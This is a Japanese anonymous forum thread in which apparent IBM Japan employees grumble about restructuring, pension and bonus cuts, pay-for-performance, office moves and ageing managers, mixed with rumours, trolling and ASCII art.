若手は年収同等以上で転職→WIN
MGTはリストラ目標達成→WIN
誰も困りません。

まじめな話もったいないと思うよ。
現場ではまた若手の犠牲者が出るね。
上は関係ないから、というか触れようとしないよ。
触れたら責任とらされるからね。
お客様との関係だって無くならないほうが奇跡的。
人＝人財と考える会社あれば、
人＝Resource(材料）と考える会社あり。
でもなんだかんだいって現場なんて考えてたら出世できないから
みんな見てみぬふり。
いいのでは？それでもこの会社はなくなることはないと思うよ。
まだまだそれだけ恵まれたいい会社です。
20年はもつでしょう。

早いもので、4Qも半ばに。

売上アップ： もう無理
コスト引き締め： 限界
資産売却： たかが知れてる
リストラ： そろそろ退職金の原資が・・・

次の一手は何だ？

有給休暇は消化できましたか？

しかし、Resourceの数字扱ってる人って現場のこと何もしらない
から。ただ数字を集めて流すだけ。
数字を合わせることが仕事だと勘違いしてるｗ
そこがここの幸せなところかな？？？？
数字合わせ、説明logicつくりを１日中やってるんだから。
現場の状況なんて何も伝わらない。
それで会社が回るからとてもすばらしい会社です。

>>695
まず冬ボーナス50%カットなんていいのでは？
日本航空で10%給与cutの時代だから、、、
それに継続して来年の給与50%cutなんて
さらにすばらしい施策だと思います。
それで足りないから、退職金は早々に廃止。
今分割でもらってる人の維持だって難しいのに
これからもらおうなんて甘い甘い。
リストラだって、もう割増はないでしょうね。
実際のところ年収600万平均くらいでようやく
今持ちこたえられる状態でしょうね。
数年で年収300万は現実ものに。
でも、伝統的な会社はみんな同じような状態ですよ。
子会社つくって老人を出向させて退職金出して
つぶれる会社がここ数年相次ぐでしょうね。
そこでいったん清算できる企業グループは勝ち。
できないグループは負け。
もちろんiは○○決定。。。

>>687
剥同。

>>683
>人＝Resource(材料）と考える会社あり。
HR=Human Resource。
そもそも人事の英語部門名称からして「人＝Resource(材料)」(藁

>>688
それって、「経営陣の失策」ではないの???
どう考えても下々の者のせいではないような気が。

なんだかんだ言っても本社系スタッフのおじさん達には
あまり危機感はありません。いつでも辞めて高額年金もらって
勝ち逃げのスタンバイが出来ています。
年金も退職金も無いばかりか、おじさんたちの年金を支える
今の２０代、３０代前半のひとたちがあわれ。。

Brandもいらねえな。
スタッフ系でもおっさんたちのとくに多いところ。

Palmisano’s India visit is in line with IBM’s continued focus on
strategic emerging growth countries like India, China, Russia
and Brazil as a way to drive revenue growth and market share gain
and as an important talent base for its growing service delivery
business and research and development initiatives.
さすがPalmisanoはじめWWのTOPはもう誰も日本のことなんて頭にないよ。
さてどうなることやら。日本に来てる外国人もいいとこ３流社員だから
日本人対応にはちょうどいいのでは？

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>>691
財閥系のJCMも似たり寄ったりだよ。
今の２０代、３０代はいとあわれなり。
どこも積立金不足で青息吐息。
だから、DELLとかHPとかのほうがまだ平均年齢
若い分、退職金とか余計な負担が少ない分
余裕があるんだね。きっと。
少なくとも仕事（くだらない仕事でも）には集中できそう。
老人の世話よりはいいね。

この間、久々に箱崎行ったら
近くにいた社員2人が「どうしてこんな雰囲気なんだろうねぇ、この会社・・・」などとボヤいてた。
それを聞いてもう本当にヤバイと思ったよ。
危機感が社員全体に浸透しつつある。

４０代もそれほど明るくないよ。
バブルの恩恵があっただけまだ救われてるかな。
でも、まだIは財務状況がいいほうだからいいと思います。
財閥系の子会社なんて、いくら化成でも利益がふっとぶから
上場どころか業績の発表すら公然の秘密。
業界の単価は社会福祉費用がかなり乗ってますね。
これからますます膨れ上がる社会保障費用（公企年金負担を含む）
で単金が下がれば、もう給与減らすしかないよ。
それで足りればいいけどね。
おーーーーー怖い。もう嗜好停止。

>>696
危機感が浸透するのはいいんだけどね。
こういうときだけ外資だから、会社のためにがんばろうとか
思わないんだろうか？？
実績主義だから協力するという考え方も合わないし、
かといって少数ががんばってもどうしようもない。
こういうときこそ求心力が必要なんだけどね。
社外から連れてくるしかないのでは？？？？？
その発表ならわからないでもないね。

先日、とうとう年金に手をつける発表があったけど、この時期でも
遅いね。この施策を１０年前にやるべきだった。もっともプランを
作っている人達が「逃げ切り」年齢という事もあって１０年放置
したという訳なのかな

退職金を高額利息をつけて年金で払う、しかも生涯!!　という施策
はこれからは止めるべきだね。絶対に破綻が見えているよ。
一時金一本に絞るべきで、今年金を受け取っている人にも差額を
払って即止めるべき

あんなに活気と汗と笑顔に溢れていた箱崎が？？？
たしかに最近元気なさそうに見えるね。
TYのほうが活気あるのかな？？？

ボーナスCUT→年金CUT→給与CUT→それでも足りないので、BRAND使用料天引30%？
→消費税15%超UP→所得税だってUP→社会保障、健康保険料UP→
手元に何が残る？？？？？ほんと疑問だね。。。

>701
まだまだ甘いです。
次はボーナスにPシリーズの現物支給が。。。
高く売れればBIG ボーナスに!
なんて日も来るかも。。

>>700
笑顔に溢れてたなんて無責任な能天気営業だけだから、
その能天気営業が契約も取れなくなってざまーみろだ。ﾊﾊ

>>702
PよりXのほうが汎用性があって売りやすくない？？
でもPのほうが売れたときの利益は大きいかな？
どちらで現物支給してもらうか迷うねｗｗ

営業が一番えらい時代は終わっていることを自覚すべき。
昔とは根本的に営業の数が違う。今では誰でも希望すれば営業になれる。
SSだって試験に落ちてもラインが「そこをなんとか」でなれてしまう。

いっそのこと全員に年収分相当原価の製品を現物支給すればいいのでは？
売れなきゃ生活できないから必死になるよ？？？きっと
倉庫代だってばかにならないから、箱崎の前できっとみんな売り出す？
それともオークションに溢れるかな？
来週の発表が年収の現物支給だったら楽しいね。
それこそ営業に有利だね。
お客様がいるから。

>700
それはない。
だって、元川崎事業所よ、メインは。
首を刎ね飛ばしたくなるオサーンたちがいっぱい。
あと、なんで豊洲だよ。もっと、場所考えろよ。客先に行き辛くてどうしようもない。
どうして、Iの不動産建設部門は、事業所の場所選びが下手なんだろう、、、、、

>>707
なんで豊洲かも分からないIT企業社員が無知だろ？

>>693
PalmisanoはBRICsの成長に力を入れるっていってるだけだろ。
そのservice deliveryのお客様はJapanはじめ先進国だと俺は思うが。。。
>>6　　が言っているように。
そうするとJは営業とコンサルだけの会社になるのかも。
あとはBRICsでやればいい。これぞglobal delivery。

そういえば、社員へ「ロイヤリティ負担」やら「ブランド料徴収」やらほざいてたラインを思い出した。
たしか、Industryにいたような。。。

>>707
単に安いのはもちろんだけどHighWayのInterchangeに近いところに
事業所を置くのはwwでは常識らしいよｗ
だからTYでHZでMKなんでしょう？？
別につくばでもいいのにと思う今日このごろ。
エクスプレスもあるしTYより便利かもよ！！！

>>686
今年は4日くらい消化したよ。後、40日近く残っている。
元々いくつあるんだろう。

電車ないにintel自己身の無銭らんもあるしね。。。
tyよりずっと環境もいいし、空気もいい。
土地は安いし、賃貸フロ付で１万代も夢でないかも。
素敵なsingle　lifeへようこそ。

>>703
いや、俺は営業もSEも経験したが、やっぱり北城氏の時代までは全体的に
雰囲気は今と比べ物にならないぐらいよかった。
今は同期や昔の同僚と顔をあわせると溜息と愚痴ばっかり。
しかも、その同僚や昔の同僚も数が減ってきてる・・・。

来年indから大量にSE,PMがくるのか？？？？
それなら今のうちにつくばに移転するのがよくない？？？？
電車がなくて帰れないこともないし、
それこそ住宅手当もほとんどいらないね。
営業とコンサルの会社でいいんでしょ。
あとは優秀なindianにお任せでいいと思うよ。
今日本人の超エリートより優秀なレベルがごろごろ。
すぐ日本人のPMも不要になるね。
営業は割りとつぶしがきくから、今からでも
中国語勉強して中国で営業すればいいのでは？？？
日本より市場が伸びるから楽しいよ。きっと。

>>713
わかるよ。
短いITバブルの終わりのころはiが一人勝ちで、
忙しかったけどそれなりに報酬もよく、
HZにもニコニコしてお客様が来てたよね。
何より仕事がまだあったな。
何はなくとも2000年問題対策とかね。。
営業も徹夜（今でもそうだけど）して提案書書いて
タクシーで帰宅して、9:00出社とかふつうだったね。
効率悪いのは変わらないけど、
出せば受注できたいい時代だったんだね。。。

とか言って、今は昔の話して飲むのがせいぜいだね。

50代なんてそればっかｗ
40代はそんな機会もないほど疲弊か、何もしないかに２曲文化。
20,30代はみんな兵隊だね。

会社自体、暗いうわさで満ちている状態で、
お客さんがシステムを注文しますか？？
日本撤退と騒いでいるのに、そんな会社にシステムを　わざわざ頼みますか？
ほんと悪循環です。
もっと働く人を大切に考えた施策を立てないと、ますますじり貧でしょう。

一度すべて清算しようよ。と外国人がひとことOFFERしてくれれば
すべて解決なのだが・・・・・。
早い決断を望む。。。。。

清算＝OB,役員、社員、株主に配分していったん終了。
翌日から、必要な人間だけ契約社員で年間契約。
複雑な階層は撤廃。MGRのみ。2nd,3rdは1/3
執行役員は1/10 理事も1/10でいいよ。
全員平均年棒500万で再雇用。
実績に応じて契約更新。
もちろん退職金、ボーナスなし。
福利厚生一切なし。
社会保険、健康保険のみ加入でいいね。
それで生き返るならそのほうがいいのでは？？？？

>>718
外国人は現場の雰囲気なんて気にしませんよ。
ばっさりやるべきことをやるだけです。
世界で一番合理的なのがUS外資です。
その合理性に期待するしかないよ、もう。
まだ一分でも望みがあるならその合理性に
ゆだねるしかないのでは？？？
充分承知のとおり。

>>715
働けばそれだけ報われたから、モチベーションを維持できてた。
今は完全に働き損。
つか仕事以外のことでストレス多すぎて神経すり減ってしまう。

>>717
まだ30代だよ。
それだけ短期間で急激に悪化したということ。

まあ、この会社の利益構造がおかしいって言うのは
外人もわかっているはず。

であれば、どこを残してどこを切るかは明白だね。

>>722
この２年ですごい悪化。
もっといえばこの１年で急激に悪化。
さらにもっといえばこの数ヶ月で信じがたいNEWSの連続。
・・・・・・・・・・・・・・・・・・・・・この１ヶ月だよ。
人事改革という名の年金改革からひょこひょこと週１でBIG NEWS。
どうなるんだろうとふつうの人間は危機感を感じるのかな？？
別に普通の会社になっただけだと思うのだが。。。。
今までが普通でなかったと考えるような機転はきかないのか？？？
シェア4%程度の会社はいつもこれよりひどい環境で働いてるよ！！！
みんな元気だそう。。。

IBCSって結局統合されないの？統合しないって事は売却？

>>723
それもどうかな？？？
ふつうの会社は、赤黒両方の商品が同じお客様に入ってるのがふつう。
まとめて何とか黒字ならいいほう、というのが日本の慣習。
利益構造といえるだけすばらしい会社なんですよ。
それしかないと思うけどね。日本では。
だから会社からIの文字が消えても製品だけ扱わせてもらうとかがいいのでは？
一SIerとして日本に残れば解決だよね。
そうすれば赤字でも売れる。。。。

>>707
>だって、元川崎事業所よ、メインは。
>首を刎ね飛ばしたくなるオサーンたちがいっぱい。
同意。
お客様○○センターなんて協力会社の女子に電話とらせているのに
なんで高級鳥の中高年のオサーンがあんなにイパーイいるの。
そのオサーン達はＰＪで使えないからそこへ収容されたＳＥだろ。

>>725
日本等だけ別扱いというのはおかしいけど、単なる法律上の問題だと
思うよ。日本にはコンサルと営業しか残らないのに売却してどうする？？？

IBMやめた６０歳のおっさんがうちにきてるんだけど、使えねえ。
人間関係がまるでできない。プライドばかり、人一倍。
まあ、もうクビになるそうだからいいけど。

>>727
たしかに話にならない、本当にこの会社に存在しているのか
疑問？？？符が最低３つはつくおじさんの宝庫だよね。
しっかり１本はもらってるし、、、、
会議にたま〜〜に顔出して、、、、
おまえが進行役だろ・・・という気も起きずに
ど素人のおれがWWスケジュールとto doをまとめて議事録の
確認までさせられた会議をおれはたぶん忘れないと思う。
あのときほど無念な思いをしたことがなかったが、
どうもTYはみんな似たような状況だと悟ったあの日。
あれは悪夢ではなく普通なんだと思える今は・・・・。

>>729
この会社にいるとみんな60歳になれば似たり酔ったりです。
それでも雇っていただけたのはMGR経験があったからでしょうか？？
何もできないのに、会社名だけでたいていのことはできてしまうから
特にMGR以上はそれが自分の実力と勘違いしがち。
ましてや、MGRになれなくてもプライドだけは高すぎる。
謙虚さがあればまだ救いはあると思うのですが、
社内ははったりの世界なので謙虚では生きていけない、
すると60になるころには（30代でもすでにそうですが）
I人格が出来上がってしまいます。
だから現場でバリバリやってる世代か、よほどコミュニケーション
能力のある人材でないと他社ではやっていけないと思います。
それでも人脈は豊富ですからそのために一時的に雇用して
利用するのにはいいと思いますよ。
あとは使い捨てにてご利用ください。

お客様に頭下げれない、物を頼むのに頭下げれない人が
多いですね。Iではそれがふつうですが、、、、
世間一般では、役職関係なく物を頼むときは
頭下げるんですよ。
それがIの常識。世間の非常識。
歴史的に見ても仕方ないですよ。
だまってもお客様が頼にこんでようやくやってやるという
意識が抜けてません。
最近、お客様の前に出せない勘違いMGR多いです。
それを必死でつなぎとめてる若者はある意味かわいそうですが、
うまくその環境を利用すれば力がつきますよ。
でもその経験は、他社でおおいに役に立つでしょう。

>>731
そうなんですか。うちの会社はＭＳ銀行の子会社で履歴書みて、「優秀だ」
ということになったようです。が、所詮、銀行屋の天下りだらけだから、
資格等重視。英語もＴＯＥＩＣ７００点とのこと。ただ、実際に外国人との
折衝にしても何にしても、英語使わないんです。というか、アラブ圏の顧客なんで
アラビア某国語か日本人スタッフが多数いて通訳してくれるので問題はありません。

MGRは何を指すのですか。教えてください。

しかし、２、３人で１日１００レスくらいは書いてるようだな。
おまいら病気だよ。

>>734
何の根拠もない決め付けの妄想をしてしまうあなたも典型的な病気です。
早めに病院で診てもらいましょう。

>お客様○○センターなんて協力会社の女子に電話とらせているのに
>なんで高級鳥の中高年のオサーンがあんなにイパーイいるの。
>そのオサーン達はＰＪで使えないからそこへ収容されたＳＥだろ。

正社員のオサーンが自分で電話に出ることはない。
ＳＳＯのネーチャンに電話取らせて、自分は定時帰宅。
齢食ってＰＲＪでも使えないからそうするしかない。

>>733
MGR=マネージャー（部長）です。たぶんTOEIC 700点ですからMGR以上でしょうね。
「優秀」いいことばです。Iの社員はみんな平均的には優秀です。
優秀=/=仕事ができるではなく、勉強ができるという意味です。
社外折衝はみなさん苦手です。なぜなら技術力で営業できた会社だからです。
いわゆる良家のおぼっちゃまタイプが多いですよ。
あとは指示されたことを、忠実に実施するのが得意です。
激動の業界で自分のしっかりした考えを持って仕事するのは難しいと思います。
英語はTOEIC700点では、実務ではあまり使えないと想像できます。
別に英語ができるのがいいのではなくて、言うことをちゃんと相手に伝えること
相互に理解して、かつ、こちらの主張を通すのが仕事だと思いますので
実際はTOEICのスコアはあまり関係ないんですね。
まじめなおぼっちゃまタイプですから、資格は抜け目なく取得したのでしょう。
いわゆる公家タイプですね。成果の出る仕事を与えられてMGRになったのでしょう？？
Iではいわゆるエリートだったのは間違いないと思います。
だから、採用するのは間違いではないです。
しかし、そんな新規（それほど困難な仕事ではないと思われますが）の仕事
をさせるのは無謀だったのかもしれません。何もしなくても成果がでる仕事
をさせてあげればそれなりの存在感を示したかもしれません。
でも、今60ならもう働く必要のないくらい余裕がある方だと思います。
最後に後輩の人材でも紹介してもらえば？？？元がとれると思いますよ。
必ずその方の成果をつくるために体を張って仕事した（させられた）
社外で充分通用する人材を知っていると思います。
私ならその人材を紹介してもらい終了させます。
ムダな投資はよくないと思います。。。。

>>737
MGRはセクシーまで読んだ

>>735
ID変わっても、文章の特徴で同一人物くらい丸分かりだろ？
まさか、分かんないの？

>>739
その信じ込める自信がＩ社員らしいところだな。

転職活動中の俺が来ましたよ、と。

人材会社のエージェントに「IBMって外から見てどうですか」と聞いて
みたところ、「積極的にはお勧めしていない」とのご回答でした。
S○NYなんかと同じように、ブランドにこだわるごく一部の人が希望する
程度らしいです。

流出する人材がペラペラ内情を喋っちゃうもんだから、そういった業界の
方には情報が筒抜けっぽいね。この会社に最も足りないのは、社員の
ロイヤリティなのかしらんと思ってみた。

そんなにコストさげたきゃ、
本社機構をＨＺに移転するんじゃなく沖縄に移転すれば？
会議はＷＥＢＣＯＮで。もちろん給与も下げてね。
どうしてそれくらいのアイデアが浮かばないのか。

あぁあ、水曜日の発表前に公表しちゃった＞沖縄移転

世代によって、希望格差が。　中高年に甘く、若年に厳しいこの時代。


･ﾟ･(ﾉД`)･ﾟ･｡ 　もう、駄目ぽ。 ･ﾟ･(ﾉД`)･ﾟ･｡
今度の５末６末早期退職者の８割は２０代と３０代だったそうだね
(３だけでなく２も）。


（ ＾∀＾）♪（ ＾∀＾）♪ ゲラ
５０すぎたらごねまくって居座るのが最高っ。
ついにリストラもオッサン優遇の温情主義になったか。

>>743
JapanがAPから分離することの発表ですかねー
もう既出だから、何にも驚かないけどね

嘔吐氏解任の発表なら大歓迎なのだが

>>743
沖縄でよかったじゃんか。
漏れは大連かと読んでたぞ

こいつらいっぺん路頭に迷ったらええんとちゃう。

明後日あることが発表されます。

２ちゃん噂の発表は、公式の「プレスリリース」になるものですか？

関節部門を渡余巣にでも追出すのか？

今は発表しないのでは？？？
それが何であっても、悪影響が懸念されます。
昨年を見ても期末のぎりぎりの金曜の夜、特報のような扱いで
こっそりとっていうのが理想だね。

来年は年間通じて大リストラになります。
目標３０００人です。
覚悟しましょう。

>>752
1Q END 2000人, +1000目標 想定の範囲内です。
何も目新しいことはないです。
ところで本社って300億くらいで売れたの？？？

遠く離れたドラ息子のために、山を少しずつ切り売りして仕送りを送金してる
その昔は大農園を経営してた農家を想像してしてしまった。
で、隠居するじいさんのために農機具まで売り払う。そのうち、家も抵当に入れて借金して。

>>754
うまいwww

まだマジメに働いている奇特な椰子っているの？
いるとしたら危篤な椰子だな。既得な椰子ならこの会社多いが。

>>756
いるよ。この時間でもHZは煌々と電気ついてんじゃないの。

まじめにやって昇給1000円、普通にやって600円、手を抜いて300円くらい?
これだと手を抜くのが普通だわな。

HZは真面目だな。
TYなんか隣のスポーツジムに六時前に入る椰子多いよ
エネルギーが余ってるからなｗｗ

いいことだ。仕事だけが人生じゃなし。

iには、仕事の話しか出来ない無趣味の椰子多いからな。

"Pay for job, Pay for performance"の考え方に賛成です。

なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。
私の周囲の大半の社員も同様に賛成していますし、
裁量労働制のような優れた制度の導入もあり、
実際に職場のモラルも大きく向上しています。


業績達成度に関わり無く支給されている手当類については
原則として廃止すべきだと思われますし、
賞与・給与についても、業績達成度への評価をもっと反映すべきだと思われます、
成果主義のさらなる徹底を周囲の多くの社員が希望しています。

社員が自分の待遇下げてほしい見たいな発言するわけねえだろ
部外者が。

まじレス禁止。

>>760
そういえばその”Pay for job, Pay for performance”って言われてから
急激に会社がおかしくなってきたと思うよ。
何か間違ってないか？？？毎年年収が10%程度知らぬ間に下がってるし。
昇給はなくなるし。年金もなくなるし。
業績は急降下だし。
何か手は打ってるのかね〜？？？
これではジリ貧だよ。

会社をよくするようにがんばりましょう。
収入の世代格差がおかしいのにも、既得権益がなくなるにも
めげず、みなでもりたてていきませう。

>>763
業績は急降下じゃないんだよ。
これが本来の実力、正しい売り上げなんだよ。
ここ数年は不正計上で売り上げを捏造していただけ。


嘔吐死が居座る限りジリ貧だろうなあ。。。

社長が変われば何かが変わるんだろうか?
ガースナーやゴーンみたいにうまくいくかな?

確かに１０人くらいの人達で回っているね　この板
文章が全部同じだもん

まあ、何のしがらみも無い外人が大ナタ振るえば良いよ。
リストラやら給与やらに相当手が入ると思うが、現状の
無能共に使われるより、はるかにましでしょ。
今までのごまかしや腹芸が一切通じないかわりに
ウェットな人間関係からも開放される。

来年の人事を見て、転職か否かを決める事にするよ。

回ってるのは自作自演の739と767だけ。
ほかの文章のどこが全部同じで１０人くらいになるんだか具体的にここに書いてみろ、ばーか。

IBCSってなんで本体に吸収されないの？広告は凄いけど業績は悪いから？

>>770
本体に吸収したら、本体に給与体系を合わせないといけなくなるから。

本体より薄給で働かせる。これぞIBCSクオリティ

ばーかと言うこと自体終わってる　ばーか

>>772
なんだそれ？？引くなぁー。
結局この板のどこが全部同じで１０人くらいになるんだか具体的には書けないわけね。
低い知能レベルで分析したみたいに知ったかこいて恥かいてんじゃねーよｗｗｗｗｗｗｗ

＞773
オマイ誰?
どっかのSSOか使えないバカオヤジ?
笑っちゃうね　けけけ

なんだこの馬鹿会社。こんな社員しかおらんのか？

>>773　>>774　もういい、やめれ。ところで、
利益の捏造してたら、USの100%子会社の場合でも罪だよな。
株主は日本にいないから、日本の公取じゃ経営陣は逮捕できね？
連邦税務局とかUS公取とかが大戸氏の身柄引渡し要求、とかなったらスゴイね。

SOX法　知らないの? ばーか

うむ、まだ出来てない法で逮捕しようっちゅうのは、さすが賢者だ。

>>775
すみません。その通りです。

>>774
説明できないことを、無理やりSSOだとかのありきたりな話題に
しちゃうとこが本当にワンパターンで寒いね。
もう少しからかってあげたいところだけど俺は明日があるからもう寝るよ。
このあとは一人で負け惜しみや自作自演のレスを一生懸命書いてなさい。ｗｗｗｗｗ

>>768
同意。人間関係重視しすぎ、まるで昔の役所。
徹底した減点主義。とにかくまず不要な贅肉・既得権益をカットしよう。
そうすれば、余計なこと気にせずに、仕事に専念できる、と思う。

>>781
仕事に専念できる環境じゃないからね。この会社は。
本当、変わった会社だよ。

1stや2ndが一生懸命英会話学校でも行っているのかな？
来るべき外人上司に備えてｗ

営業は知らんが、SEなんか有料作業時間のデータをExcelでいじりまくってるしなあ。
ほんとは、数字が行かなければそのまま正直に出して、なぜ行かなかったのか
きちんと分析して話し合うべきだと思うんだが。

結局、些細なことで揚げ足取ってまでやめさせるなどということを続けてるから、
みんな失敗を隠すようになってる。
これははっきりと悪い予兆だと思う。

>774
オマイこそ３０分の間に粘着スレを４個もタレながして
いるから、そのペースで行くと１０００個のうち７００個
くらいはオマイのスレだろ?　ばーか

　／＼⌒ヽﾍﾟﾀﾝ
　　　／　 ／⌒)ﾉ ﾍﾟﾀﾝ
　 ∧＿∧ ＼ （(　 ∧＿∧
　（； ´Д｀））'　））（・∀・ ；） 　 お前ら餅付け
　/　　⌒ノ　（ ⌒ヽ⊂⌒ヽ
.（O　　 ﾉ　)￣￣￣(）__ 　 ）
　）_）＿） （;;;;;;;;;;;;;;;;;;）（＿（ 　

ゴキブリを１匹発見したら２０匹はいると思え

よって、このスレ１０人くらいで回ってると思ったら２００人は参加してると思え

そーいうオマイは　1/200 の一匹か? ばーか

折れの隣でママが早く寝ろというから寝るわ
また明日な　オマイらみんなばーか

"Pay for job, Pay for performance"の考え方に賛成です。

なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然。
ＩＢＭだけでなく世界中のあらゆる職場で本来当然あたりまえな原理。

>>788
ちょっとかわいいぞｗ

ヒラが賛成でも、ラインたちが反対なんだから、どうしようもないわな（ﾜﾗ

IBCSもACやらABやらBPのように内情は火の車なのか？
だから本体に吸収できないのか？

先の読めない会社になってしまったものだ。

>>793

存在しない未来が読めるはずがない。

このまま衰退して消滅だろ？こんな分かり易い未来は無いぞ。

　 　 　 ＼∧＿ﾍ　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣ 　　
,,､,､,,,　/ ＼〇ノゝ∩ ＜　それなら転職活動開始だ、いくぞｺﾞﾙｧ！！　　　　　　　,,､,､,,,
　　　　/三√ ﾟДﾟ)　/　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿　　,,､,､,,,
　　 　　/三/| ﾟＵﾟ|＼　　　　　　,,､,､,,,　　　　　　　　　　　　　　　　　　　　　　　,,､,､,,,
　,,､,､,,,　Ｕ （:::::::::::）　　,,､,､,,,　　　　　　　　　＼オーーーーーーーッ！！／
　　 　 　//三/|三|＼　　　　　∧＿∧∧＿∧ ∧＿∧∧＿∧∧＿∧∧＿∧
　　　　　　∪　 ∪　　　　　　 （　　　　）　　　 （　　　　 ）　　　（　　　　）　　　 ）
　,,､,､,,,　　　　　　　,,､,､,,,　　∧＿∧∧＿∧∧＿∧ ∧＿∧∧＿∧∧＿∧∧＿∧
　　　　　　,,､,､,,,　　　　　　 （　　　　）　　　 （　　　　）　　　 （　　　　）　　　 （　　　　）

明日、あることが発表されます。

新しい理事が増えました、とかいうのは無しで。

　三神万里子『パラサイト・ミドルの衝撃　‐サラリーマン45歳の憂鬱‐』
　　　　　　　　　　　　　　　　　　　　　　　ＮＴＴ出版、05年10月

　　　パラサイト･ミドル（笑！）って多いよな、ここ。

ttp://www.ibm.com/investor/events/inv_day0505/presentation/inv_day0505prepared.pdf

P.11を見ると、本社売っちゃったのもわかるぅ。

>>800
おもしろいですね。日本に日本本社機能はもうほとんどなかったので
必要なくなったということですね。WW 1 COMPAMYですね。
日本はやはり日本出張所がいいとこですねｗ

日本本社機能なんて言い方はないだろ? ばーか

あ、昨日のちょっとかわいい人ですね。

>802
オマエこそ脳みそがかわいい人だ　ばーか

　　　　　　　 　∧＿∧
　　　 　　　⊂<｀∀´丶>つ-　オマエラみんなかわいい人だ♪
　　　　　 ／／/ 　 /_/:::::/
　　　　　 |:::|/⊂ヽノ|:::| ／」 ばーか　ばーか　ばーか
　　　 ／￣￣旦￣￣￣／|
　　／＿＿＿＿＿＿／ | |
　　| |-----------|

　　　　　　　 　∧＿∧
　　　 　　　⊂<｀∀´丶>つ-　発表　まだあ??♪
　　　　　 ／／/ 　 /_/:::::/ 水曜日　水曜日　水曜日
　　　　　 |:::|/⊂ヽノ|:::| ／」
　　　 ／￣￣旦￣￣￣／|
　　／＿＿＿＿＿＿／ | |
　　| |-----------|

明日の発表って恐らくボーナス関係じゃない？

>>807
一ヵ月前だしね、そうかも・・・

”ＩＢＭ”というブランドと社員のステータスを考えれば、
年収３００万でも”ＩＢＭの社員”というステータスを手に入れたいと
入社を希望している優秀している人はたくさんいます。

そういう意味で会社はもっと社員への「ロイヤリティ負担」のようなものを
要求してもいいと思います。現行の報酬の３０％程度をカットしても
ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

人事制度改革・年金制度改革には全面的に賛成です。

すでにこちらの部署でも全員１００％が署名・捺印を完了しました。

>現行の報酬の３０％程度をカットしても
>ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

ボーナス３０％カットかな・・・

777=784=787=788=802=804=805=806　全部ID同じ

>>774
>オマイこそ３０分の間に粘着スレを４個もタレながして
>いるから、そのペースで行くと１０００個のうち７００個
>くらいはオマイのスレだろ?　ばーか
粘着はお前だ、ばーか。

現物支給だったりして。

┌──────────────────────―┐
│　811が粘着するスレ　811が粘着するスレ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　｜
｜　　　　　　　　　　　(´∀｀)　ﾇ　lﾚ　ﾎﾟ 　 　 　　　　　 　 　 . ｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　Null Pointer Exception occured !...　　　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
│　　　　　　　　しばらくﾇﾙﾎﾞでお待ちください。..　　 　 　 　 |
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
└──────────────────────―┘

＞＞８１３
もうお前うざいよ。

┌──────────────────────―┐
│　811が粘着するスレ　811が粘着するスレ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　｜
│　　　ばーか　ばーか　ばーか　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　｜
｜　　　　　　　　　　　(´∀｀)　ﾇ　lﾚ　ﾎﾟ 　 　 　　　　　 　 　 . ｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　ばーか　ばーか　ばーか　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　　｜
│　　　　　　　　Null Pointer Exception occured !...　　　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
│　　　　　　　　しばらくﾇﾙﾎﾞでお待ちください。..　　 　 　 　 |
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
└──────────────────────―┘

IBM社員ご乱心。
まさにモラルも崩壊ですな。

　　　　　　　 　∧＿∧
　　　 　　　⊂<｀∀´丶>つ-　発表　まだあ??♪
　　　　　 ／／/ 　 /_/:::::/ 水曜日　水曜日　水曜日
　　　　　 |:::|/⊂ヽノ|:::| ／」
　　　 ／￣￣旦￣￣￣／|
　　／＿＿＿＿＿＿／ | |
　　| |-----------|

>>815
AA,ずれてるよ。

だめだこりゃ。

>>817
もしかして在日●鮮人？

┌──────────────────────―┐
│　811が粘着するスレ　811が粘着するスレ　 　　｜
│　　　ばーか　ばーか　ばーか　　　　　 　 　　｜
｜　　　　　　　　　　　(´∀｀)　ﾇ　lﾚ　ﾎﾟ . ｜
│　　　　　　　　　　　　　　　　　　　　　　　｜
│　　　　ばーか　ばーか　ばーか　　　　　　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　｜
│　　　　　　　　　　　　　　　　　　　　　　　｜
│　　Null Pointer Exception occured !... 　　　｜
│　　　　　　　　　　　　　　　　　　　　 　 ｜
│　　　　　　　　　　　　　　　　　　　　 　　 ｜
│　　　　しばらくNULLPO　でお待ちください
│　　　　　　　　　　　　　　　　　　　　　 　 ｜
└──────────────────────―┘

鬱患者多いからね、社員の奇行ももうそんなに驚かないよ。

何ごともなく明日は終わると思います。
水曜日だし、月中だし、いちばん落ち着ける時期です。

　　　　　　　　　∬
　　　　　　　　Ａ旦Ａ
　 　Ａ＿Ａ　（・∀・=）>>811 ばーか
　 （メ・∀・） /　　⌒ｌ >>811 ばーか
＿/_つ/￣￣￣/　| |＿＿
　 ＼ / TINKPAT/　ヽ⊃

　　　　　∩＿＿＿∩
　　　　　| 丿　　　　　ヽ
